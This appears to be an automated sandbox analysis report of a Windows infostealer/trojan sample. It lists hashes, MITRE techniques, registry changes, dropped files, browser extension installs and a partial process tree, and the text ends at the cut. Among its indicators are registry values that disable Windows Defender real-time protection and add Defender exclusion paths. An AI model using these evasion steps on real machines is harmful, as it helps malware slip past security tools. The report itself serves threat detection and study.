802d1206ae6e3b640bd89c3b9a5324dc6a81000709fc07c24c6322a08aa403e2

Analysis

max time kernel
151s
max time network
153s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
06-02-2023 16:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

7.3MB
MD5

01edc1f02ddb4baad6444a57a14f7901
SHA1

a028ce7a1a6e255028942ac2e8e033be95bc61fb
SHA256

802d1206ae6e3b640bd89c3b9a5324dc6a81000709fc07c24c6322a08aa403e2
SHA512

82733a48cea564a12fa51082781d27c6e22530d643be56e53fe799b449c4739492fdd34f2fd51dcebe2462a7cd6883548cbc2e361c86963b9b7102dffefd3952
SSDEEP

196608:91OUjk2aGT4VbKQM3POFeNBMKtQb2FNqSs:3OV2T4Vbw/O4gKYiHs

Score

10^/10

evasion spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

reg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 36 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.execonhost.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\OKneYAAzclQU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\eCbNXTSQanJlC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\wRLQelouU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\wRLQelouU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\vcfECUarZbUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\WoychCUlhHkYXpVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\UIFvrSrxAzeYKEuX = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\OKneYAAzclQU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\WoychCUlhHkYXpVB = "0"	conhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\UIFvrSrxAzeYKEuX = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\UIFvrSrxAzeYKEuX = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\eCbNXTSQanJlC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\UIFvrSrxAzeYKEuX = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	conhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\vcfECUarZbUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.

Query Registry
T1012

System Information Discovery
T1082

Processes:

Install.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe
Executes dropped EXE 4 IoCs

Processes:

Install.exeInstall.exeWGWlQUs.exerXdRXZw.exe

pid process

848 Install.exe
944 Install.exe
1492 WGWlQUs.exe
1488 rXdRXZw.exe
Loads dropped DLL 8 IoCs

Processes:

file.exeInstall.exeInstall.exe

pid process

756 file.exe
848 Install.exe
848 Install.exe
848 Install.exe
848 Install.exe
944 Install.exe
944 Install.exe
944 Install.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

pid	process
848	Install.exe
944	Install.exe
1492	WGWlQUs.exe
1488	rXdRXZw.exe

pid	process
756	file.exe
848	Install.exe
848	Install.exe
848	Install.exe
848	Install.exe
944	Install.exe
944	Install.exe
944	Install.exe

Drops Chrome extension 1 IoCs

Processes:

rXdRXZw.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	rXdRXZw.exe

Drops file in System32 directory 18 IoCs

Processes:

WGWlQUs.exerXdRXZw.exeInstall.exepowershell.EXEpowershell.EXEpowershell.EXEpowershell.EXE

description	ioc	process
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	WGWlQUs.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	rXdRXZw.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_450C63FC50977E21DE9DE54EB1509725	rXdRXZw.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_7638F332B8B62A320F9A599D313334B6	rXdRXZw.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	WGWlQUs.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	rXdRXZw.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	rXdRXZw.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	rXdRXZw.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	rXdRXZw.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	WGWlQUs.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_7638F332B8B62A320F9A599D313334B6	rXdRXZw.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	rXdRXZw.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_450C63FC50977E21DE9DE54EB1509725	rXdRXZw.exe

Drops file in Program Files directory 6 IoCs

Processes:

rXdRXZw.exe

description	ioc	process
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	rXdRXZw.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	rXdRXZw.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	rXdRXZw.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	rXdRXZw.exe
File created	C:\Program Files (x86)\wRLQelouU\uCrRXcq.xml	rXdRXZw.exe
File created	C:\Program Files (x86)\wRLQelouU\WLjKmn.dll	rXdRXZw.exe

Drops file in Windows directory 3 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\xhAFLspUEGhlntx.job	schtasks.exe
File created	C:\Windows\Tasks\boytPmuAkKgmiEZYSe.job	schtasks.exe
File created	C:\Windows\Tasks\tRsUEOedRvIwZoOQu.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 8 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

2024 schtasks.exe
1168 schtasks.exe
2040 schtasks.exe
1088 schtasks.exe
1788 schtasks.exe
1376 schtasks.exe
268 schtasks.exe
1936 schtasks.exe

pid	process
2024	schtasks.exe
1168	schtasks.exe
2040	schtasks.exe
1088	schtasks.exe
1788	schtasks.exe
1376	schtasks.exe
268	schtasks.exe
1936	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

rXdRXZw.exewscript.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\b6-bc-ff-4f-f2-ed\WpadDecisionTime = 005febca4d3ad901	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	rXdRXZw.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{1E5C93BB-E647-48D9-9958-EC2023931EA9}\WpadDecisionTime = 005febca4d3ad901	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{1E5C93BB-E647-48D9-9958-EC2023931EA9}\b6-bc-ff-4f-f2-ed	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{1E5C93BB-E647-48D9-9958-EC2023931EA9}	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	rXdRXZw.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\b6-bc-ff-4f-f2-ed\WpadDecision = "0"	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	rXdRXZw.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{1E5C93BB-E647-48D9-9958-EC2023931EA9}\WpadDecisionReason = "1"	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	wscript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	rXdRXZw.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\b6-bc-ff-4f-f2-ed\WpadDecisionReason = "1"	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\b6-bc-ff-4f-f2-ed	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	rXdRXZw.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	rXdRXZw.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f000d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	rXdRXZw.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	rXdRXZw.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{1E5C93BB-E647-48D9-9958-EC2023931EA9}\WpadNetworkName = "Network 2"	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	rXdRXZw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	rXdRXZw.exe

Suspicious behavior: EnumeratesProcesses 23 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXEpowershell.EXErXdRXZw.exe

pid	process
432	powershell.EXE
432	powershell.EXE
432	powershell.EXE
1272	powershell.EXE
1272	powershell.EXE
1272	powershell.EXE
1196	powershell.EXE
1196	powershell.EXE
1196	powershell.EXE
948	powershell.EXE
948	powershell.EXE
948	powershell.EXE
1488	rXdRXZw.exe
1488	rXdRXZw.exe
1488	rXdRXZw.exe
1488	rXdRXZw.exe
1488	rXdRXZw.exe
1488	rXdRXZw.exe
1488	rXdRXZw.exe
1488	rXdRXZw.exe
1488	rXdRXZw.exe
1488	rXdRXZw.exe
1488	rXdRXZw.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXEpowershell.EXE

description	pid	process
Token: SeDebugPrivilege	432	powershell.EXE
Token: SeDebugPrivilege	1272	powershell.EXE
Token: SeDebugPrivilege	1196	powershell.EXE
Token: SeDebugPrivilege	948	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

file.exeInstall.exeInstall.exeforfiles.execmd.exetaskeng.exe

description	pid	process	target process
PID 756 wrote to memory of 848	756	file.exe	Install.exe
PID 756 wrote to memory of 848	756	file.exe	Install.exe
PID 756 wrote to memory of 848	756	file.exe	Install.exe
PID 756 wrote to memory of 848	756	file.exe	Install.exe
PID 756 wrote to memory of 848	756	file.exe	Install.exe
PID 756 wrote to memory of 848	756	file.exe	Install.exe
PID 756 wrote to memory of 848	756	file.exe	Install.exe
PID 848 wrote to memory of 944	848	Install.exe	Install.exe
PID 848 wrote to memory of 944	848	Install.exe	Install.exe
PID 848 wrote to memory of 944	848	Install.exe	Install.exe
PID 848 wrote to memory of 944	848	Install.exe	Install.exe
PID 848 wrote to memory of 944	848	Install.exe	Install.exe
PID 848 wrote to memory of 944	848	Install.exe	Install.exe
PID 848 wrote to memory of 944	848	Install.exe	Install.exe
PID 944 wrote to memory of 1884	944	Install.exe	forfiles.exe
PID 944 wrote to memory of 1884	944	Install.exe	forfiles.exe
PID 944 wrote to memory of 1884	944	Install.exe	forfiles.exe
PID 944 wrote to memory of 1884	944	Install.exe	forfiles.exe
PID 944 wrote to memory of 1884	944	Install.exe	forfiles.exe
PID 944 wrote to memory of 1884	944	Install.exe	forfiles.exe
PID 944 wrote to memory of 1884	944	Install.exe	forfiles.exe
PID 944 wrote to memory of 1148	944	Install.exe	forfiles.exe
PID 944 wrote to memory of 1148	944	Install.exe	forfiles.exe
PID 944 wrote to memory of 1148	944	Install.exe	forfiles.exe
PID 944 wrote to memory of 1148	944	Install.exe	forfiles.exe
PID 944 wrote to memory of 1148	944	Install.exe	forfiles.exe
PID 944 wrote to memory of 1148	944	Install.exe	forfiles.exe
PID 944 wrote to memory of 1148	944	Install.exe	forfiles.exe
PID 1148 wrote to memory of 816	1148	forfiles.exe	cmd.exe
PID 1148 wrote to memory of 816	1148	forfiles.exe	cmd.exe
PID 1148 wrote to memory of 816	1148	forfiles.exe	cmd.exe
PID 1148 wrote to memory of 816	1148	forfiles.exe	cmd.exe
PID 1148 wrote to memory of 816	1148	forfiles.exe	cmd.exe
PID 1148 wrote to memory of 816	1148	forfiles.exe	cmd.exe
PID 1148 wrote to memory of 816	1148	forfiles.exe	cmd.exe
PID 816 wrote to memory of 1084	816	cmd.exe	reg.exe
PID 816 wrote to memory of 1084	816	cmd.exe	reg.exe
PID 816 wrote to memory of 1084	816	cmd.exe	reg.exe
PID 816 wrote to memory of 1084	816	cmd.exe	reg.exe
PID 816 wrote to memory of 1084	816	cmd.exe	reg.exe
PID 816 wrote to memory of 1084	816	cmd.exe	reg.exe
PID 816 wrote to memory of 1084	816	cmd.exe	reg.exe
PID 816 wrote to memory of 1008	816	cmd.exe	reg.exe
PID 816 wrote to memory of 1008	816	cmd.exe	reg.exe
PID 816 wrote to memory of 1008	816	cmd.exe	reg.exe
PID 816 wrote to memory of 1008	816	cmd.exe	reg.exe
PID 816 wrote to memory of 1008	816	cmd.exe	reg.exe
PID 816 wrote to memory of 1008	816	cmd.exe	reg.exe
PID 816 wrote to memory of 1008	816	cmd.exe	reg.exe
PID 944 wrote to memory of 1376	944	Install.exe	schtasks.exe
PID 944 wrote to memory of 1376	944	Install.exe	schtasks.exe
PID 944 wrote to memory of 1376	944	Install.exe	schtasks.exe
PID 944 wrote to memory of 1376	944	Install.exe	schtasks.exe
PID 944 wrote to memory of 1376	944	Install.exe	schtasks.exe
PID 944 wrote to memory of 1376	944	Install.exe	schtasks.exe
PID 944 wrote to memory of 1376	944	Install.exe	schtasks.exe
PID 944 wrote to memory of 1496	944	Install.exe	schtasks.exe
PID 944 wrote to memory of 1496	944	Install.exe	schtasks.exe
PID 944 wrote to memory of 1496	944	Install.exe	schtasks.exe
PID 944 wrote to memory of 1496	944	Install.exe	schtasks.exe
PID 944 wrote to memory of 1496	944	Install.exe	schtasks.exe
PID 944 wrote to memory of 1496	944	Install.exe	schtasks.exe
PID 944 wrote to memory of 1496	944	Install.exe	schtasks.exe
PID 1620 wrote to memory of 432	1620	taskeng.exe	powershell.EXE

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:756

C:\Users\Admin\AppData\Local\Temp\7zSADA.tmp\Install.exe
.\Install.exe
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:848

C:\Users\Admin\AppData\Local\Temp\7zSDE6.tmp\Install.exe
.\Install.exe /S /site_id "525403"
3⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:944

C:\Windows\SysWOW64\forfiles.exe
